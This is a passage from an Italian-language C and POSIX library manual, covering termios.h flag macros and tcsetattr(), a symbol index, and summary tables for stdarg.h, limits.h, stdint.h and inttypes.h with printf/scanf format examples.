#define VKILL      4     // carattere KILL
#define VMIN       5     // valore    MIN
#define VQUIT      6     // carattere QUIT
#define VSTART     7     // carattere START
#define VSTOP      8     // carattere STOP
#define VSUSP      9     // carattere SUSP
#define VTIME     10     // valore    TIME
```

Due valori di questo elenco fanno eccezione: '**`VMIN`**' e '**`VTIME`**', in quanto rappresentano invece un'informazione di tipo differente, necessaria per la gestione non canonica del terminale.

81.7.4 Indicatori per il membro «c_iflag»

Il membro ***c_iflag*** di una struttura di tipo '**`struct termios`**' può contenere degli indicatori indipendenti sulla configurazione per l'inserimento. Tali indicatori vanno forniti attraverso macro-variabili definite nel file '`termios.h`', di cui segue un esempio:

```
#define BRKINT    1     // Invia un segnale di interruzione in caso
                        //   di ricevimento di un carattere INTR.
#define ICRNL     2     // Converte <CR> in <NL>.
#define IGNBRK    4     // Ignora il carattere INTR.
#define IGNCR     8     // Ignora il carattere <CR>.
#define IGNPAR   16     // Ignora i caratteri con errori di parità.
#define INLCR    32     // Converte <NL> in <CR>.
#define INPCK    64     // Abilita il controllo di parità.
#define ISTRIP  128     // Azzera l'ottavo bit dei caratteri.
#define IXOFF   256     // Abilita il controllo start/stop in ingresso
#define IXON    512     // Abilita il controllo start/stop in uscita
#define PARMRK 1024     // Segnala gli errori di parità.
```

81.7.5 Indicatori per il membro «c_oflag»

Il membro ***c_iflag*** di una struttura di tipo '**`struct termios`**' può contenere degli indicatori indipendenti sulla configurazione per l'output. Tali indicatori vanno forniti attraverso macro-variabili definite nel file '`termios.h`'. Di questi indicatori ne è obbligatorio solo uno: ***OPOST***, che ha lo scopo di abilitare una forma imprecisata di elaborazione dell'output.

```
#define OPOST     1     // post-process output
```

81.7.6 Indicatori per il membro «c_cflag»

Il membro ***c_cflag*** di una struttura di tipo '**`struct termios`**' può contenere degli indicatori indipendenti sulla configurazione per il controllo del terminale. Tale configurazione qui viene omessa.

81.7.7 Indicatori per il membro «c_lflag»

Il membro ***c_lflag*** di una struttura di tipo '**`struct termios`**' può contenere degli indicatori indipendenti sulla configurazione «locale» del terminale. Tali indicatori vanno forniti attraverso macro-variabili definite nel file '`termios.h`', di cui segue un esempio:

```
#define ECHO      1     // Abilita l'eco del terminale.
#define ECHOE     2     // Visualizza la cancellazione di un
                        //   carattere.
#define ECHOK     4     // Visualizza l'eliminazione di una riga.
#define ECHONL    8     // Visualizza l'effetto del codice di
                        //   interruzione di riga.
#define ICANON   16     // Modalità di inserimento canonica.
#define IEXTEN   32     // Modalità di inserimento estesa
                        //   (non canonica).
#define ISIG     64     // Abilita i segnali.
#define NOFLSH  128     // Disabilita lo scarico della memoria tampone
                        //   dopo un'interruzione o una conclusione
                        //   forzata.
#define TOSTOP  256     // Invia il segnale SIGTTOU per l'output sullo
                        //   sfondo.
```

L'indicatore '**`ICANON`**' consente di ottenere un funzionamento del terminale in modalità canonica.

81.7.8 Funzioni

Quanto descritto fino a questo punto sul file '`termios.h`' è ciò che poi serve per l'uso di alcune funzioni, il cui scopo è quello di configurare o interrogare la configurazione di un terminale. Nell'esempio seguente seguono solo alcuni prototipi, assieme alla dichiarazione di alcune macro-variabili necessarie per la funzione ***tcsetattr()***.

```
#define TCSANOW   1     // Cambia gli attributi immediatamente.
#define TCSADRAIN 2     // Cambia gli attributi quando l'output
                        //   è stato utilizzato.
#define TCSAFLUSH 3     // Cambia gli attributi quando l'output
                        //   è stato utilizzato e scarica l'input
                        //   ancora sospeso.

int tcgetattr (int fdn, struct termios *termios_p);
int tcsetattr (int fdn, int action, struct termios *termios_p);
```

Le due funzioni mostrate nell'esempio richiedono l'indicazione del numero di descrittore associato a un terminale aperto. Il parametro ***termios_p*** è un puntatore a una struttura con

le informazioni sulla configurazione del terminale: la funzione ***tcgetattr()*** serve a ottenere la configurazione attuale, mentre la funzione ***tcsetattr()*** serve a modificarla. Il parametro ***action*** di ***tcsetattr()*** richiede di precisare la tempestività di tale modifica attraverso una delle macro-variabili elencate poco sopra.

81.8 Riferimenti

- Wikipedia, *C POSIX library*
  ⟨*http://en.wikipedia.org/wiki/C_POSIX_library* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *System Interface & Headers Issue 5*
  ⟨*http://www.opengroup.org/onlinepubs/007908799/xshix.html* ⟩
- Free Software Foundation, *The GNU C Library*
  ⟨*http://www.gnu.org/software/libc/manual/* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *sys/types.h*, *sys/stat.h strings.h fcntl.h unistd.h dirent.h termios.h*
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/sys/types.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/sys/stat.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/strings.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/fcntl.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/unistd.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/dirent.h.html* ⟩
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/termios.h.html* ⟩
- Pagina di manuale *fcntl(2)*
- The Open Group, *The Single UNIX® Specification, Version 2*, *fcntl*
  ⟨*http://opengroup.org/onlinepubs/000095399/functions/fcntl.html* ⟩
- The Open Group, *The Single UNIX® Specification, Version 2*, *General Terminal Interface*
  ⟨*http://opengroup.org/onlinepubs/000095399/basedefs/xbd_chap11.html* ⟩

[1] Di norma, il programmatore non accede direttamente a variabili di tipo '**`struct flock`**', perché per la gestione dei blocchi si usano semplicemente le funzioni appropriate.

Tabelle riepilogative della libreria C e POSIX

File «stdarg.h» 4887

File «limits.h» 4888

File «stdint.h» 4889

File «inttypes.h» 4891

File «ctype.h» 4895

File «stdlib.h» 4897

File «string.h» 4900

File «time.h» 4902

File «stdio.h» per la gestione dei file e degli errori 4905

File «stdio.h» per la composizione dell'output 4911

File «stdio.h» per l'interpretazione dell'input 4914

File «assert.h» 4917

File «stddef.h» 4917

File «locale.h» 4918

File «regex.h» 4918

File «sys/stat.h» . . . 4920

abort 4897 abs() 4897 asctime() 4902 assert() 4917 assert.h 4917 atexit() 4897 atof() 4897 atoi() 4897 atol() 4897 atoll() 4897 bsearch() 4897 BUFSIZ 4905 calloc() 4897 CHAR_BIT 4888 CHAR_MAX 4888 CHAR_MIN 4888 chmod() 4920 clearerr() 4905 clock() 4902 ctime() 4902 ctype.h 4895 difftime() 4902 div() 4897 EOF 4905 exit() 4897 fchmod() 4920 fclose() 4905 feof() 4905 ferror() 4905 fflush() 4905 fgetc() 4905 fgetpos() 4905 fgets() 4905 FILENAME_MAX 4905 fopen() 4905 FOPEN_MAX 4905 fprintf() 4911 fputc() 4905 fputs() 4905 fread() 4905 free() 4897 freopen() 4905 fscanf() 4914 fseek() 4905 fsetpos() 4905 fstat() 4920 ftell() 4905 fwrite() 4905 gets() 4905 gmtime() 4902 INT16_C() 4889 INT16_MAX 4889 INT16_MIN 4889 int16_t 4889 INT32_C() 4889 INT32_MAX 4889 INT32_MIN 4889 int32_t 4889 INT64_C() 4889 INT64_MAX 4889 INT64_MIN 4889 int64_t 4889 INT8_C() 4889 INT8_MAX 4889 INT8_MIN 4889 int8_t 4889 INTMAX_C() 4889 INTMAX_MAX 4889 INTMAX_MIN 4889 intmax_t 4889 INTPTR_MAX 4889 INTPTR_MIN 4889 intptr_t 4889 inttypes.h 4891 INT_FAST16_MAX 4889 INT_FAST16_MIN 4889 int_fast16_t 4889 INT_FAST32_MAX 4889 INT_FAST32_MIN 4889 int_fast32_t 4889 INT_FAST64_MAX 4889 INT_FAST64_MIN 4889 int_fast64_t 4889

INT_FAST8_MAX 4889 INT_FAST8_MIN 4889 int_fast8_t 4889 INT_LEAST16_MAX 4889 INT_LEAST16_MIN 4889 int_least16_t 4889 INT_LEAST32_MAX 4889 INT_LEAST32_MIN 4889 int_least32_t 4889 INT_LEAST64_MAX 4889 INT_LEAST64_MIN 4889 int_least64_t 4889 INT_LEAST8_MAX 4889 INT_LEAST8_MIN 4889 int_least8_t 4889 INT_MAX 4888 INT_MIN 4888 isalnum() 4895 isalpha() 4895 isblank() 4895 iscntrl() 4895 isdigit() 4895 isgraph() 4895 islower() 4895 isprint() 4895 ispunct() 4895 isspace() 4895 isupper() 4895 isxdigit() 4895 labs() 4897 ldiv() 4897 limits.h 4888 llabs() 4897 lldiv() 4897 LLONG_MAX 4888 LLONG_MIN 4888 locale.h 4918 localtime() 4902 LONG_MAX 4888 LONG_MIN 4888 lstat() 4920 L_tmpnam 4905 malloc() 4897 mblen() 4897 mbstowcs() 4897 mbtowc() 4897 MB_LEN_MAX 4888 memchr() 4900 memcmp() 4900 memcpy() 4900 memmove() 4900 memset() 4900 mkdir() 4920 mkfifo() 4920 mknod() 4920 mktime() 4902 offsetof() 4917 perror() 4905 PRId16 4891 PRId32 4891 PRId64 4891 PRId8 4891 PRIdFAST16 4891 PRIdFAST32 4891 PRIdFAST64 4891 PRIdFAST8 4891 PRIdLEAST16 4891 PRIdLEAST32 4891 PRIdLEAST64 4891 PRIdLEAST8 4891 PRIdMAX 4891 PRIdPTR 4891 PRIi16 4891 PRIi32 4891 PRIi64 4891 PRIi8 4891 PRIiFAST16 4891 PRIiFAST32 4891 PRIiFAST64 4891 PRIiFAST8 4891 PRIiLEAST16 4891 PRIiLEAST32 4891 PRIiLEAST64 4891 PRIiLEAST8 4891 PRIiMAX 4891 PRIiPTR 4891 printf() 4911 PRIo16 4891 PRIo32 4891 PRIo64 4891 PRIo8 4891 PRIoFAST16 4891 PRIoFAST32 4891 PRIoFAST64 4891 PRIoFAST8 4891 PRIoLEAST16 4891 PRIoLEAST32 4891 PRIoLEAST64 4891 PRIoLEAST8 4891 PRIoMAX 4891 PRIoPTR 4891 PRIu16 4891 PRIu32 4891 PRIu64 4891 PRIu8 4891 PRIuFAST16 4891 PRIuFAST32 4891 PRIuFAST64 4891 PRIuFAST8 4891 PRIuLEAST16 4891 PRIuLEAST32 4891 PRIuLEAST64 4891 PRIuLEAST8 4891 PRIuMAX 4891 PRIuPTR 4891 PRIx16 4891 PRIX16 4891 PRIx32 4891 PRIX32 4891 PRIx64 4891 PRIX64 4891 PRIX8 4891 PRIx8 4891 PRIxFAST16 4891 PRIXFAST16 4891 PRIxFAST32 4891 PRIXFAST32 4891 PRIxFAST64 4891 PRIXFAST64 4891 PRIXFAST8 4891 PRIxFAST8 4891 PRIxLEAST16 4891 PRIXLEAST16 4891 PRIxLEAST32 4891 PRIXLEAST32 4891 PRIxLEAST64 4891 PRIXLEAST64 4891 PRIXLEAST8 4891 PRIxLEAST8 4891 PRIxMAX 4891 PRIXMAX 4891 PRIxPTR 4891 PRIXPTR 4891 PTRDIFF_MAX 4889 PTRDIFF_MIN 4889 ptrdiff_t 4889 putchar() 4905 puts() 4905 qsort() 4897 rand() 4897 realloc() 4897 regcomp() 4918 regerror() 4918 regex.h 4918 regexec() 4918 regex_t 4918 regfree() 4918 regmatch_t 4918 4918 regoff_t 4918 remove() 4905 rename() 4905 rewind() 4905 re_sub 4918 rm_se 4918 rm_so 4918 scanf() 4914 SCHAR_MAX 4888 SCHAR_MIN 4888 SCNd16 4891 SCNd32 4891 SCNd64 4891 SCNd8 4891 SCNdFAST16 4891 SCNdFAST32 4891 SCNdFAST64 4891 SCNdFAST8 4891 SCNdLEAST16 4891 SCNdLEAST32 4891 SCNdLEAST64 4891 SCNdLEAST8 4891 SCNdMAX 4891 SCNdPTR 4891 SCNi16 4891 SCNi32 4891 SCNi64 4891 SCNi8 4891 SCNiFAST16 4891 SCNiFAST32 4891 SCNiFAST64 4891 SCNiFAST8 4891 SCNiLEAST16 4891 SCNiLEAST32 4891 SCNiLEAST64 4891 SCNiLEAST8 4891 SCNiMAX 4891 SCNiPTR 4891 SCNo16 4891 SCNo32 4891 SCNo64 4891 SCNo8 4891 SCNoFAST16 4891 SCNoFAST32 4891 SCNoFAST64 4891 SCNoFAST8 4891 SCNoLEAST16 4891 SCNoLEAST32 4891 SCNoLEAST64 4891 SCNoLEAST8 4891 SCNoMAX 4891 SCNoPTR 4891 SCNu16 4891 SCNu32 4891 SCNu64 4891 SCNu8 4891 SCNuFAST16 4891 SCNuFAST32 4891 SCNuFAST64 4891 SCNuFAST8 4891 SCNuLEAST16 4891 SCNuLEAST32 4891 SCNuLEAST64 4891 SCNuLEAST8 4891 SCNuMAX 4891 SCNuPTR 4891 SCNx16 4891 SCNx32 4891 SCNx64 4891 SCNx8 4891

SCNxFAST16 4891 SCNxFAST32 4891 SCNxFAST64 4891 SCNxFAST8 4891 SCNxLEAST16 4891 SCNxLEAST32 4891 SCNxLEAST64 4891 SCNxLEAST8 4891 SCNxMAX 4891 SCNxPTR 4891 SEEK_CUR 4905 SEEK_END 4905 SEEK_SET 4905 setbuf() 4905 setlocale() 4918 setvbuf() 4905 SHRT_MAX 4888 SHRT_MIN 4888 SIG_ATOMIC_MAX 4889 SIG_ATOMIC_MIN 4889 sig_atomic_t 4889 SIZE_MAX 4889 size_t 4889 snprintf() 4911 sprintf() 4911 srand() 4897 sscanf() 4914 stat() 4920 stat.h 4920 stdarg.h 4887 stddef.h 4917 stdint.h 4889 stdio.h 4905 4911 4914 stdlib.h 4897 strcat() 4900 strchr() 4900 strcmp() 4900 strcoll() 4900 strcpy() 4900 strcspn() 4900 strerror() 4900 strftime() 4902 string.h 4900 strlen() 4900 strncat() 4900 strncmp() 4900 strncpy() 4900 strpbrk() 4900 strrchr() 4900 strspn() 4900 strstr() 4900 strtod() 4897 strtof() 4897 strtok() 4900 strtol() 4897 strtold() 4897 strtoll() 4897 strtoul() 4897 strtoull() 4897 strxfrm() 4900 st_atime 4920 st_blksize 4920 st_blocks 4920 st_ctime 4920 st_dev 4920 st_gid 4920 st_ino 4920 st_mode 4920 st_mtime 4920 st_nlink 4920 st_rdev 4920 st_size 4920 st_uid 4920 S_IFBLK 4920 S_IFCHR 4920 S_IFDIR 4920 S_IFIFO 4920 S_IFLNK 4920 S_IFMT 4920 S_IFREG 4920 S_IFSOCK 4920 S_IRGRP 4920 S_IROTH 4920 S_IRUSR 4920 S_IRWXG 4920 S_IRWXO 4920 S_IRWXU 4920 S_ISBLK() 4920 S_ISCHR() 4920 S_ISDIR() 4920 S_ISFIFO() 4920 S_ISGID 4920 S_ISLNK() 4920 S_ISREG() 4920 S_ISSOCK() 4920 S_ISUID 4920 S_ISVTX 4920 S_IWGRP 4920 S_IWOTH 4920 S_IWUSR 4920 S_IXGRP 4920 S_IXOTH 4920 S_IXUSR 4920 time() 4902 time.h 4902 tmpfile() 4905 tmpnam() 4905 TMP_MAX 4905 tolower() 4895 toupper() 4895 UCHAR_MAX 4888 UINT16_C() 4889 UINT16_MAX 4889 uint16_t 4889 UINT32_C() 4889 UINT32_MAX 4889 uint32_t 4889 UINT64_C() 4889 UINT64_MAX 4889 uint64_t 4889 UINT8_C() 4889 UINT8_MAX 4889 uint8_t 4889 UINTMAX_C() 4889 UINTMAX_MAX 4889 uintmax_t 4889 UINTPTR_MAX 4889 uintptr_t 4889 UINT_FAST16_MAX 4889 uint_fast16_t 4889 UINT_FAST32_MAX 4889 uint_fast32_t 4889 UINT_FAST64_MAX 4889 uint_fast64_t 4889 UINT_FAST8_MAX 4889 uint_fast8_t 4889 UINT_LEAST16_MAX 4889 uint_least16_t 4889 UINT_LEAST32_MAX 4889 uint_least32_t 4889 UINT_LEAST64_MAX 4889 uint_least64_t 4889 UINT_LEAST8_MAX 4889 uint_least8_t 4889 UINT_MAX 4888 ULLONG_MAX 4888 ULONG_MAX 4888 umask() 4920 ungetc() 4905 USHRT_MAX 4888 va_arg() 4887 va_copy() 4887 va_end() 4887 va_list 4887 va_start() 4887 vfprintf() 4911 vfscanf() 4914 vprintf() 4911 vscanf() 4914 vsnprintf() 4911 vsprintf() 4911 vsscanf() 4914 WCHAR_MAX 4889 WCHAR_MIN 4889 wchar_t 4889 wcstombs() 4897 wctomb() 4897 WINT_MAX 4889 WINT_MIN 4889 wint_t 4889 _Exit() 4897 _IOFBF 4905 _IOLBF 4905 _IONBF 4905

File «stdarg.h»

Macro-istruzione	Descrizione
`void va_start (va_list` ***ap***`,` ***parametro_n***`);`	Inizializza la variabile ***ap***, di tipo '**`va_list`**', in modo che punti all'area di memoria immediatamente successiva al parametro indicato, il quale deve essere l'ultimo.

Macro-istruzione	Descrizione
tipo `va_arg (va_list` ***ap***`,` *tipo*`);`	Restituisce il contenuto dell'area di memoria a cui punta ***ap***, utilizzando il tipo indicato, incrementando contestualmente il puntatore in modo che, al termine, si trovi nell'area di memoria immediatamente successiva.
`void va_copy (va_list` ***dst***`, va_list` ***org***`);`	Copia il puntatore ***org*** nella variabile ***dst***.
`void va_end (va_list` ***ap***`);`	Conclude l'utilizzo del puntatore ***ap***.

File «limits.h»

Macro-variabile	Descrizione
`CHAR_BIT`	Quantità di bit utilizzata per rappresentare il tipo '**`char`**', con o senza segno. In altri termini è l'unità di memorizzazione più piccola con cui si può gestire l'insieme di caratteri minimo. Di norma si tratta di 8 bit.
`SCHAR_MIN` `SCHAR_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`signed char`**'.
`UCHAR_MAX`	Il valore massimo rappresentabile in una variabile '**`unsigned char`**'. Il valore minimo è zero.
`CHAR_MIN` `CHAR_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`char`**'. Questi valori dipendono dal fatto che il tipo '**`char`**' sia da intendere equivalente a un tipo '**`unsigned char`**' o '**`signed char`**', da cui ereditano i limiti.
`MB_LEN_MAX`	La quantità massima di byte che possono essere usati per rappresentare un carattere multibyte, qualunque sia la configurazione locale.
`SHRT_MIN` `SHRT_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`short int`**'.
`USHRT_MAX`	Il valore massimo rappresentabile in una variabile '**`unsigned short int`**'. Il valore minimo è zero.
`INT_MIN` `INT_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`int`**'.
`UINT_MAX`	Il valore massimo rappresentabile in una variabile '**`unsigned int`**'. Il valore minimo è zero.
`LONG_MIN` `LONG_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`long int`**'.
`ULONG_MAX`	Il valore massimo rappresentabile in una variabile '**`unsigned long int`**'. Il valore minimo è zero.
`LLONG_MIN` `LLONG_MAX`	Il valore minimo e il valore massimo rappresentabile in una variabile '**`long long int`**'.
`ULLONG_MAX`	Il valore massimo rappresentabile in una variabile '**`unsigned long long int`**'. Il valore minimo è zero.

File «stdint.h»

Con segno	Senza segno	Descrizione

`int8_t`
`int16_t`
`int32_t`
`int64_t`
	`uint8_t`
	`uint16_t`
	`uint32_t`
	`uint64_t`
		Tipo intero, facoltativo, il cui rango è prestabilito esattamente.

`INT8_MIN`
`INT8_MAX`
`INT16_MIN`
`INT16_MAX`
`INT32_MIN`
`INT32_MAX`
`INT64_MIN`
`INT64_MAX`
	`UINT8_MAX`
	`UINT16_MAX`
	`UINT32_MAX`
	`UINT64_MAX`
		Limiti minimi e massimi dei tipi ‘**int*n*_t**’ e ‘**uint*n*_t**’.

`int_least8_t`
`int_least16_t`
`int_least32_t`
`int_least64_t`
	`uint_least8_t`
	`uint_least16_t`
	`uint_least32_t`
	`uint_least64_t`
		Tipo intero con un rango minimo stabilito.

`INT_LEAST8_MIN`
`INT_LEAST8_MAX`
`INT_LEAST16_MIN`
`INT_LEAST16_MAX`
`INT_LEAST32_MIN`
`INT_LEAST32_MAX`
`INT_LEAST64_MIN`
`INT_LEAST64_MAX`
	`UINT_LEAST8_MAX`
	`UINT_LEAST16_MAX`
	`UINT_LEAST32_MAX`
	`UINT_LEAST64_MAX`
		Limiti minimi e massimi dei tipi ‘**int_least*n*_t**’ e ‘**uint_least*n*_t**’.

Con segno	Senza segno	Descrizione
INT8_C(*val*) INT16_C(*val*) INT32_C(*val*) INT64_C(*val*)	UINT8_C(*val*) UINT16_C(*val*) UINT32_C(*val*) UINT64_C(*val*)	Macro-istruzione per attribuire l'estensione che definisce il tipo corretto a un valore costante, da intendere secondo il tipo '**int_least*n*_t**' o '**uint_least*n*_t**'.
int_fast8_t int_fast16_t int_fast32_t int_fast64_t	uint_fast8_t uint_fast16_t uint_fast32_t uint_fast64_t	Tipo intero con un rango minimo stabilito, con caratteristiche ottimali per la velocità elaborativa.
INT_FAST8_MIN INT_FAST8_MAX INT_FAST16_MIN INT_FAST16_MAX INT_FAST32_MIN INT_FAST32_MAX INT_FAST64_MIN INT_FAST64_MAX	UINT_FAST8_MAX UINT_FAST16_MAX UINT_FAST32_MAX UINT_FAST64_MAX	Limiti minimi e massimi dei tipi '**int_fast*n*_t**' e '**uint_fast*n*_t**'.
intptr_t	uintptr_t	Tipo facoltativo intero capace di contenere il valore di un puntatore, convertibile da e verso '**void ***'.
INTPTR_MIN INTPTR_MAX	UINTPTR_MAX	Limiti minimi e massimi dei tipi '**intptr_t**' e '**uintptr_t**'.
intmax_t	uintmax_t	Tipo intero di rango massimo.
INTMAX_MIN INTMAX_MAX	UINTMAX_MAX	Limiti minimi e massimi dei tipi '**intmax_t**' e '**uintmax_t**'.
INTMAX_C(*val*)	UINTMAX_C(*val*)	Macro-istruzione per attribuire l'estensione che definisce il tipo corretto a un valore costante, da intendere secondo il tipo '**intmax_t**' o '**uintmax_t**'.
PTRDIFF_MIN PTRDIFF_MAX		Limiti minimi e massimi del tipo '**ptrdiff_t**'.

Con segno	Senza segno	Descrizione
SIG_ATOMIC_MIN SIG_ATOMIC_MAX		Limiti minimi e massimi del tipo '**sig_atomic_t**'.
	SIZE_MAX	Limite massimo del tipo '**size_t**' (senza segno).
WCHAR_MIN WCHAR_MAX		Limiti minimi e massimi del tipo '**wchar_t**'.
WINT_MIN WINT_MAX		Limiti minimi e massimi del tipo '**wint_t**'.

File «inttypes.h»

Macro-variabili per la composizione dell'output	Macro-variabili per l'interpretazione dell'input	Esempi schematici

PRId8
PRId16
PRId32
PRId64
	SCNd8
	SCNd16
	SCNd32
	SCNd64
		`int32_t i = INT32_MAX;`
		…
		`printf ("i = %010" PRId32 "\n", i);`
		…
		`scanf ("%" SCNd32, &i);`

PRIi8
PRIi16
PRIi32
PRIi64
	SCNi8
	SCNi16
	SCNi32
	SCNi64
		`int32_t i = INT32_MAX;`
		…
		`printf ("i = %010" PRIi32 "\n", i);`
		…
		`scanf ("%" SCNi32, &i);`

PRIdLEAST8
PRIdLEAST16
PRIdLEAST32
PRIdLEAST64
	SCNdLEAST8
	SCNdLEAST16
	SCNdLEAST32
	SCNdLEAST64
		`int_least32_t i = INT_LEAST32_MAX;`
		…
		`printf ("i = %010" PRIdLEAST32 "\n", i);`
		…
		`scanf ("%" SCNdLEAST32, &i);`

PRIiLEAST8
PRIiLEAST16
PRIiLEAST32
PRIiLEAST64
	SCNiLEAST8
	SCNiLEAST16
	SCNiLEAST32
	SCNiLEAST64
		`int_least32_t i = INT_LEAST32_MAX;`
		…
		`printf ("i = %010" PRIiLEAST32 "\n", i);`
		…
		`scanf ("%" SCNiLEAST32, &i);`

Macro-variabili per la composizione dell'output	Macro-variabili per l'interpretazione dell'input	Esempi schematici

`PRIdFAST8`
`PRIdFAST16`
`PRIdFAST32`
`PRIdFAST64`
	`SCNdFAST8`
	`SCNdFAST16`
	`SCNdFAST32`
	`SCNdFAST64`
		`int_fast32_t i = INT_FAST32_MAX;`
		…
		`printf ("i = %010" PRIdFAST32 "\n", i);`
		…
		`scanf ("%" SCNdFAST32, &i);`

`PRIiFAST8`
`PRIiFAST16`
`PRIiFAST32`
`PRIiFAST64`
	`SCNiFAST8`
	`SCNiFAST16`
	`SCNiFAST32`
	`SCNiFAST64`
		`int_fast32_t i = INT_FAST32_MAX;`
		…
		`printf ("i = %010" PRIiFAST32 "\n", i);`
		…
		`scanf ("%" SCNiFAST32, &i);`

`PRIdMAX`
`PRIdPTR`
`PRIiMAX`
`PRIiPTR`
	`SCNdMAX`
	`SCNdPTR`
	`SCNiMAX`
	`SCNiPTR`
		`intmax_t i = INTMAX_MAX;`
		…
		`printf ("i = %020" PRIiMAX "\n", i);`
		…
		`scanf ("%" SCNiMAX, &i);`

`PRIo8`
`PRIo16`
`PRIo32`
`PRIo64`
	`SCNo8`
	`SCNo16`
	`SCNo32`
	`SCNo64`
		`uint32_t i = UINT32_MAX;`
		…
		`printf ("i = %011" PRIo32 "\n", i);`
		…
		`scanf ("%" SCNo32, &i);`

`PRIoLEAST8`
`PRIoLEAST16`
`PRIoLEAST32`
`PRIoLEAST64`
	`SCNoLEAST8`
	`SCNoLEAST16`
	`SCNoLEAST32`
	`SCNoLEAST64`
		`uint_least32_t i = UINT_LEAST32_MAX;`
		…
		`printf ("i = %011" PRIoLEAST32 "\n", i);`
		…
		`scanf ("%" SCNoLEAST32, &i);`

`PRIoFAST8`
`PRIoFAST16`
`PRIoFAST32`
`PRIoFAST64`
	`SCNoFAST8`
	`SCNoFAST16`
	`SCNoFAST32`
	`SCNoFAST64`
		`uint_fast32_t i = UINT_FAST32_MAX;`
		…
		`printf ("i = %011" PRIoFAST32 "\n", i);`
		…
		`scanf ("%" SCNoFAST32, &i);`

Macro-variabili per la composizione dell’output	Macro-variabili per l’interpretazione dell’input	Esempi schematici

PRIoMAX
PRIoPTR
	SCNoMAX
	SCNoPTR
		uintmax_t i = INTMAX_MAX;
		…
		printf ("i = %022" PRIoMAX "\n", i);
		…
		scanf ("%" SCNoMAX, &i);

PRIu8
PRIu16
PRIu32
PRIu64
	SCNu8
	SCNu16
	SCNu32
	SCNu64
		uint32_t i = UINT32_MAX;
		…
		printf ("i = %010" PRIu32 "\n", i);
		…
		scanf ("%" SCNu32, &i);

PRIuLEAST8
PRIuLEAST16
PRIuLEAST32
PRIuLEAST64
	SCNuLEAST8
	SCNuLEAST16
	SCNuLEAST32
	SCNuLEAST64
		uint_least32_t i = UINT_LEAST32_MAX;
		…
		printf ("i = %010" PRIuLEAST32 "\n", i);
		…
		scanf ("%" SCNuLEAST32, &i);

PRIuFAST8
PRIuFAST16
PRIuFAST32
PRIuFAST64
	SCNuFAST8
	SCNuFAST16
	SCNuFAST32
	SCNuFAST64
		uint_fast32_t i = UINT_FAST32_MAX;
		…
		printf ("i = %010" PRIuFAST32 "\n", i);
		…
		scanf ("%" SCNuFAST32, &i);

PRIuMAX
PRIuPTR
	SCNuMAX
	SCNuPTR
		uintmax_t i = INTMAX_MAX;
		…
		printf ("i = %022" PRIuMAX "\n", i);
		…
		scanf ("%" SCNuMAX, &i);

PRIx8
PRIX8
PRIx16
PRIX16
PRIx32
PRIX32
PRIx64
PRIX64
	SCNx8
	SCNx16
	SCNx32
	SCNx64
		uint32_t i = UINT32_MAX;
		…
		printf ("i = %08" PRIx32 "\n", i);
		…
		scanf ("%" SCNx32, &i);

Macro-variabili per la composizione dell'output	Macro-variabili per l'interpretazione dell'input	Esempi schematici

`PRIxLEAST8`
`PRIXLEAST8`
`PRIxLEAST16`
`PRIXLEAST16`
`PRIxLEAST32`
`PRIXLEAST32`
`PRIxLEAST64`
`PRIXLEAST64`
	`SCNxLEAST8`
	`SCNxLEAST16`
	`SCNxLEAST32`
	`SCNxLEAST64`
		`uint_least32_t i = UINT_LEAST32_MAX;`
		`…`
		`printf ("i = %08" PRIxLEAST32 "\n", i);`
		`…`
		`scanf ("%" SCNxLEAST32, &i);`

`PRIxFAST8`
`PRIXFAST8`
`PRIxFAST16`
`PRIXFAST16`
`PRIxFAST32`
`PRIXFAST32`
`PRIxFAST64`
`PRIXFAST64`
	`SCNxFAST8`
	`SCNxFAST16`
	`SCNxFAST32`
	`SCNxFAST64`
		`uint_fast32_t i = UINT_FAST32_MAX;`
		`…`
		`printf ("i = %08" PRIxFAST32 "\n", i);`
		`…`
		`scanf ("%" SCNxFAST32, &i);`

`PRIxMAX`
`PRIXMAX`
`PRIxPTR`
`PRIXPTR`
	`SCNxMAX`
	`SCNxPTR`
		`uintmax_t i = UINTMAX_MAX;`
		`…`
		`printf ("i = %016" PRIxMAX "\n", i);`
		`…`
		`scanf ("%" SCNxMAX, &i);`

Funzione	Descrizione
`intmax_t imaxabs (intmax_t` ***j***`);`	Restituisce il valore assoluto del numero passato come argomento.
`imaxdiv_t imaxdiv (intmax_t` ***numer***`,` `intmax_t` ***denom***`);`	Restituisce il risultato della divisione dei due argomenti, in una struttura contenente il risultato intero e il resto della divisione.

`intmax_t strtoimax`
`(const char *restrict` ***s***`,`
`char **restrict` ***p***`,`
`int` ***base***`);`
`uintmax_t strtouimax`
`(const char *restrict` ***s***`,`
`char **restrict` ***p***`,`
`int` ***base***`);`
	Converte la stringa fornita come primo argomento in un numero intero, come si vede dal modello sintattico, interpretando la stringa come numero espresso nella base rappresentata dal parametro ***base***. La conversione avviene fino a dove è possibile riconoscere caratteri che compongono un valore valido; se il secondo argomento è un puntatore a un puntatore valido (un puntatore a un'area di memoria che può contenere a sua volta un puntatore dal tipo '**`char`**'), al suo interno viene memorizzato l'indirizzo finale della scansione, a partire dal quale si trovano caratteri non decifrabili, oppure dove si trova il carattere nullo di terminazione della stringa.

Funzione	Descrizione
